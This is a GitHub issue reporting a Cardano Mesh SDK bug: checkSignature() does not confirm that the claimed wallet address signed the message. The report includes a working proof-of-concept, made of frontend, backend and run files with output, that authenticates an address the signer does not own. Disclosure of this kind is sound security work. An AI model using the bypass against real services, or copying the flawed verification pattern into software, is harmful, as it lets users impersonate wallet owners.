Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

checkSignature() can't prove wallet ownership #346

Open
d-Bharti001 opened this issue Oct 23, 2024 · 0 comments
Open

checkSignature() can't prove wallet ownership #346

d-Bharti001 opened this issue Oct 23, 2024 · 0 comments

Comments

@d-Bharti001
Copy link

d-Bharti001 commented Oct 23, 2024

Description of the bug
There is an official guide describing how to prove wallet ownership using Mesh SDK's checkSignature() method.
https://meshjs.dev/guides/prove-wallet-ownership

  • The problem is the function doesn't verify if an specified address is the one who signed the message.
  • Someone can exploit this lack of functionality to fake their identity by proving ownership of an address which they don't even own.

To Reproduce
Here is a code example:

// frontend.js
const { MeshWallet } = require("@meshsdk/core");
const { backendGetNonce, backendVerifySignature } = require("./backend");

var wallet = null;

const otherAddress = "stake_test1AbcD";

var nonce = null;

async function frontendGenerateWallet() {
    wallet = new MeshWallet({
        networkId: 0,
        key: {
            type: "mnemonic",
            words: new Array(24).fill("solution")
        },
    });
}

async function frontendStartLoginProcess() {
    console.log("Start login process...");

    const userAddress = (await wallet.getRewardAddresses())[0];

    console.log("Wallet address to register / sign-in with:", otherAddress);
    console.log("My owned wallet address:", userAddress);

    // Send request with 'otherAddress' to the backend, instead of the owned address
    nonce = await backendGetNonce(otherAddress);

}

async function frontendSignMessage() {
    console.log("\nSigning message...");
    try {
        // Sign data with owned wallet address
        const userAddress = (await wallet.getRewardAddresses())[0];
        const signature = await wallet.signData(nonce, userAddress);

        // Send request with 'signature' and 'otherAddress' to the backend
        await backendVerifySignature(otherAddress, signature);
    } catch (error) {
        console.error(error);
    }
}

module.exports = {
    frontendGenerateWallet,
    frontendStartLoginProcess,
    frontendSignMessage,
};
// backend.js
const { checkSignature, generateNonce } = require("@meshsdk/core");

const userDbStore = {};     // { userAddress: nonce }

async function backendGetNonce(userAddress) {
    const nonce = generateNonce("Sign to login in to Mesh: ");

    // Store nonce in user model in the database
    userDbStore[userAddress] = nonce;

    // console.log("Nonce:", nonce);

    return nonce;
}

async function backendVerifySignature(userAddress, signature) {
    // Get 'nonce' from user (database) using 'userAddress'
    const nonce = userDbStore[userAddress];

    const result = checkSignature(nonce, signature);

    // do: update 'nonce' in the database with another random string

    // do: do whatever you need to do, once the user has proven ownership
    // it could be creating a valid JSON Web Token (JWT) or session
    // it could be doing something offchain
    // it could just be updating something in the database

    if (result === true) {
        console.log("Backend: this user address is authenticated:", userAddress);
    }

    return result;
}

module.exports = {
    backendGetNonce,
    backendVerifySignature,
};
// index.js
const { frontendGenerateWallet, frontendStartLoginProcess, frontendSignMessage } = require("./frontend");

async function main() {
    await frontendGenerateWallet();
    await frontendStartLoginProcess();
    await frontendSignMessage();
}

main();

Run:

node index.js

Output:

Start login process...
Wallet address to register / sign-in with: stake_test1AbcD
My owned wallet address: stake_test1uzw5mnt7g4xjgdqkfa80hrk7kdvds6sa4k0vvgjvlj7w8eskffj2n

Signing message...
Backend: this user address is authenticated: stake_test1AbcD

Expected behavior
The backend shouldn't have authenticated stake_test1AbcD.

Station

  • OS: Windows
  • Version 11

Possible solutions

  • The checkSignature() function should be upgraded to take more arguments.
  • Cardano Foundation's verifyDataSignature() function takes the plain text message and wallet address as additional arguments, which can be used to verify if the specified wallet address is the one who signed the message.
    https://github.com/cardano-foundation/cardano-verify-datasignature

There might be some other solution which I'm not sure about:

  • signData() returns an object containing a signature and a key
  • If that key is related to the account used for signing the message, then inside the checkSignature() function, either the key should be extracted from a specified 'userAddress', or vice-versa (whichever is technically feasible). Then the key and the provided address should be matched. The specified 'userAddress' can be called to be the signer of the message only if it is linked to that key. Otherwise the authentication should fail.

Additional context
I've also submitted a documentation issue: #345

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant